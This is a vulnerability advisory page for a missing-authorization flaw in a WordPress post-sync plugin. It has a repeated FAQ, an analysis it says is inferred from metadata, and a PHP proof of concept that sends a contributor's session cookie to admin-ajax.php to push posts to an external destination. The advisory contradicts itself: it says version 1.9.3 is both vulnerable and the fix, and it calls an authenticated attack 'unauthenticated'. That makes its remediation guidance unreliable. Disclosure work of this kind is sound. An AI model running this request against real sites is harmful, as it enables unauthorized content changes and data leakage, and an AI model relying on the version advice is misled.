What is CVE-2026-14923?

CVE-2026-14923 is a missing authorization vulnerability in the Sync Post With Other Site plugin for WordPress, affecting versions up to and including 1.9.3. It allows authenticated users with contributor-level access or higher to perform unauthorized actions, such as triggering post synchronization, due to a missing capability check on a function.

How does the vulnerability work?

The plugin registers an AJAX or admin-post hook without verifying that the current user has the required capabilities, such as manage_options. Since contributor-level users can access authenticated AJAX endpoints, they can craft a request to invoke the vulnerable function, bypassing intended authorization restrictions.

Who is affected by this vulnerability?

WordPress sites running the Sync Post With Other Site plugin version 1.9.3 or earlier are affected. Any authenticated user with contributor-level access or above can exploit the issue, which means sites with multiple authors or lower-privileged accounts are at risk.

How can I check if my site is vulnerable?

Check the installed version of the Sync Post With Other Site plugin. If it is 1.9.3 or lower, your site is vulnerable. You can also review the plugin’s code for missing capability checks in its AJAX handlers, but the simplest method is to update to the patched version.

What is the risk level of this vulnerability?

The vulnerability has a CVSS score of 4.3, which is considered medium severity. It requires an authenticated user with contributor-level access, but no user interaction. The impact is limited to low integrity impact, meaning an attacker can modify site content through unauthorized synchronization actions.

What is the proof of concept (PoC) demonstrating?

The PoC shows how an authenticated contributor can send a crafted AJAX request to the vulnerable endpoint, such as admin-ajax.php, with an action like sync_post_with_other_site_sync. It includes a post ID and uses a valid session cookie, demonstrating that the plugin does not enforce capability checks.

How do I fix or mitigate this vulnerability?

Update the Sync Post With Other Site plugin to version 1.9.3 or later, which includes the necessary capability and nonce checks. As a temporary mitigation, you can restrict access to the plugin’s AJAX endpoints by using a security plugin or custom code to enforce proper authorization.

What is the root cause of the missing authorization?

The root cause is a missing capability check on a function, likely an AJAX handler or admin-post hook. The plugin fails to verify that the current user has the required permissions, such as manage_options, before executing the action, allowing lower-privileged users to invoke it.

Can this vulnerability be exploited remotely?

Yes, the vulnerability can be exploited remotely over the network. An attacker needs valid credentials for a contributor-level account, but no user interaction is required. The attack vector is network-based, with low complexity, making it relatively easy to exploit once access is obtained.

Are there any known mitigations if I cannot update immediately?

If you cannot update immediately, you can temporarily disable the plugin or restrict access to its AJAX endpoints using a security plugin. Additionally, you can remove contributor-level accounts that are not trusted, but updating to the patched version is the recommended solution.

How does the patched version address the issue?

The patched version 1.9.3 adds a capability check to the vulnerable function, ensuring only users with the appropriate role, such as manage_options, can invoke it. It also likely includes a nonce check to prevent cross-site request forgery, further securing the endpoint.

Published : August 7, 2026

CVE-2026-14923: Sync Post With Other Site < 1.9.3 Missing Authorization PoC, Patch Analysis & Rule

Q: What is the potential impact of exploitation?

Exploitation allows a contributor to trigger synchronization actions that should be restricted to administrators. This could lead to unauthorized data manipulation, such as syncing posts to external sites, potentially causing unintended content changes or data leakage. The integrity impact is low but still a concern.

CVE ID CVE-2026-14923

Plugin sync-post-with-other-site

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.9.3

Patched Version —

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14923 (metadata-based):
This vulnerability affects the Sync Post With Other Site WordPress plugin, versions up to and including 1.9.3. It is a Missing Authorization (CWE-862) issue, allowing authenticated attackers with contributor-level access and above to perform unauthorized actions. The CVSS score is 4.3, with a vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating a medium severity issue that requires an authenticated user but no user interaction.

Root Cause: The vulnerability stems from a missing capability check on a particular function, likely an AJAX handler or admin-post hook. The plugin registers an endpoint without verifying that the current user has the proper capabilities (e.g., `edit_posts`, `manage_options`) or a valid nonce. Because contributors can access authenticated AJAX hooks, they can invoke the function even though they lack the intended authorization level. This conclusion is inferred from the CWE categorization and vulnerability description because no source code diff is available. The description specifically states that a capability check is missing, confirming that the function is improperly exposed to lower-privileged users.

Exploitation: An attacker with contributor credentials can send a crafted HTTP request to the vulnerable endpoint. The likely target is `/wp-admin/admin-ajax.php` with a POST parameter `action` set to a plugin-specific hook, such as `sync_post_with_other_site_sync` or similar based on the plugin slug. The request would include the post ID and destination site URL, triggering the synchronization functionality without the plugin verifying that the user has sufficient rights. Since the missing check is the enabler, no nonce is required, although an attacker could still obtain a valid nonce from the page source if needed. The attacker crafts the request with valid credentials as an authenticated user, which WordPress processes based on cookies or nonce. The PoC demonstrates an AJAX POST using a session cookie from a previously authenticated contributor session.

Remediation: The fix must add a capability check to the vulnerable function, ensuring only users with the required role (e.g., `manage_options` for site administrators) can invoke it. The plugin should also implement a nonce check to prevent cross-site request forgery. The patched version 1.9.3 likely includes these authorization and verification steps. Additionally, the developer should audit all plugin AJAX handlers and admin-post functions to ensure consistent enforcement of authorization checks.

Impact: Exploitation allows a contributor-level user to trigger synchronization actions that should be restricted to administrators. This could result in unauthorized data manipulation, such as syncing or overwriting posts to external sites, leading to unintended content changes or data leakage. The low impact rating (I:L) suggests limited data exposure or integrity impact, but there is still a direct integrity violation because the attacker can modify the state of the site’s content through an unauthenticated action.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14923 - Sync Post With Other Site < 1.9.3 - Missing Authorization

// This PoC demonstrates the missing authorization by sending an AJAX request
// to the vulnerable endpoint without a capability check.
// Assumptions:
// - The plugin uses an admin-ajax.php action named 'sync_post_with_other_site_sync'.
//   Adjust the action name if the plugin uses a different hook.
// - The attacker has contributor-level credentials.
// - A valid session cookie is required for authentication.

$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php';
$action = 'sync_post_with_other_site_sync'; // Adjust based on plugin source if known
$post_id = 123; // ID of the post to sync

$cookie = 'wordpress_LOGGED_IN=your_cookie_value;'; // Session cookie for contributor user

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => $action,
    'post_id' => $post_id,
    'sync_destination' => 'http://external-site.com/receive'
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookie
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && $response) {
    echo "[+] Request executed successfully. HTTP Code: $http_coden";
    echo "[+] Response body: " . $response . "n";
} else {
    echo "[-] Request failed. HTTP Code: $http_coden";
}
?>

Frequently Asked Questions

What is CVE-2026-14923?
Vulnerability overview
CVE-2026-14923 is a missing authorization vulnerability in the Sync Post With Other Site plugin for WordPress, affecting versions up to and including 1.9.3. It allows authenticated users with contributor-level access or higher to perform unauthorized actions, such as triggering post synchronization, due to a missing capability check on a function.
How does the vulnerability work?
Technical explanation
The plugin registers an AJAX or admin-post hook without verifying that the current user has the required capabilities, such as manage_options. Since contributor-level users can access authenticated AJAX endpoints, they can craft a request to invoke the vulnerable function, bypassing intended authorization restrictions.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Sync Post With Other Site plugin version 1.9.3 or earlier are affected. Any authenticated user with contributor-level access or above can exploit the issue, which means sites with multiple authors or lower-privileged accounts are at risk.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Sync Post With Other Site plugin. If it is 1.9.3 or lower, your site is vulnerable. You can also review the plugin’s code for missing capability checks in its AJAX handlers, but the simplest method is to update to the patched version.
What is the risk level of this vulnerability?
Severity and CVSS score
The vulnerability has a CVSS score of 4.3, which is considered medium severity. It requires an authenticated user with contributor-level access, but no user interaction. The impact is limited to low integrity impact, meaning an attacker can modify site content through unauthorized synchronization actions.
What is the proof of concept (PoC) demonstrating?
Understanding the PoC
The PoC shows how an authenticated contributor can send a crafted AJAX request to the vulnerable endpoint, such as admin-ajax.php, with an action like sync_post_with_other_site_sync. It includes a post ID and uses a valid session cookie, demonstrating that the plugin does not enforce capability checks.
How do I fix or mitigate this vulnerability?
Remediation steps
Update the Sync Post With Other Site plugin to version 1.9.3 or later, which includes the necessary capability and nonce checks. As a temporary mitigation, you can restrict access to the plugin’s AJAX endpoints by using a security plugin or custom code to enforce proper authorization.
What is the root cause of the missing authorization?
Underlying issue
The root cause is a missing capability check on a function, likely an AJAX handler or admin-post hook. The plugin fails to verify that the current user has the required permissions, such as manage_options, before executing the action, allowing lower-privileged users to invoke it.
Can this vulnerability be exploited remotely?
Exploitation vector
Yes, the vulnerability can be exploited remotely over the network. An attacker needs valid credentials for a contributor-level account, but no user interaction is required. The attack vector is network-based, with low complexity, making it relatively easy to exploit once access is obtained.
What is the potential impact of exploitation?
Consequences
Exploitation allows a contributor to trigger synchronization actions that should be restricted to administrators. This could lead to unauthorized data manipulation, such as syncing posts to external sites, potentially causing unintended content changes or data leakage. The integrity impact is low but still a concern.
Are there any known mitigations if I cannot update immediately?
Temporary workarounds
If you cannot update immediately, you can temporarily disable the plugin or restrict access to its AJAX endpoints using a security plugin. Additionally, you can remove contributor-level accounts that are not trusted, but updating to the patched version is the recommended solution.
How does the patched version address the issue?
Fix details
The patched version 1.9.3 adds a capability check to the vulnerable function, ensuring only users with the appropriate role, such as manage_options, can invoke it. It also likely includes a nonce check to prevent cross-site request forgery, further securing the endpoint.

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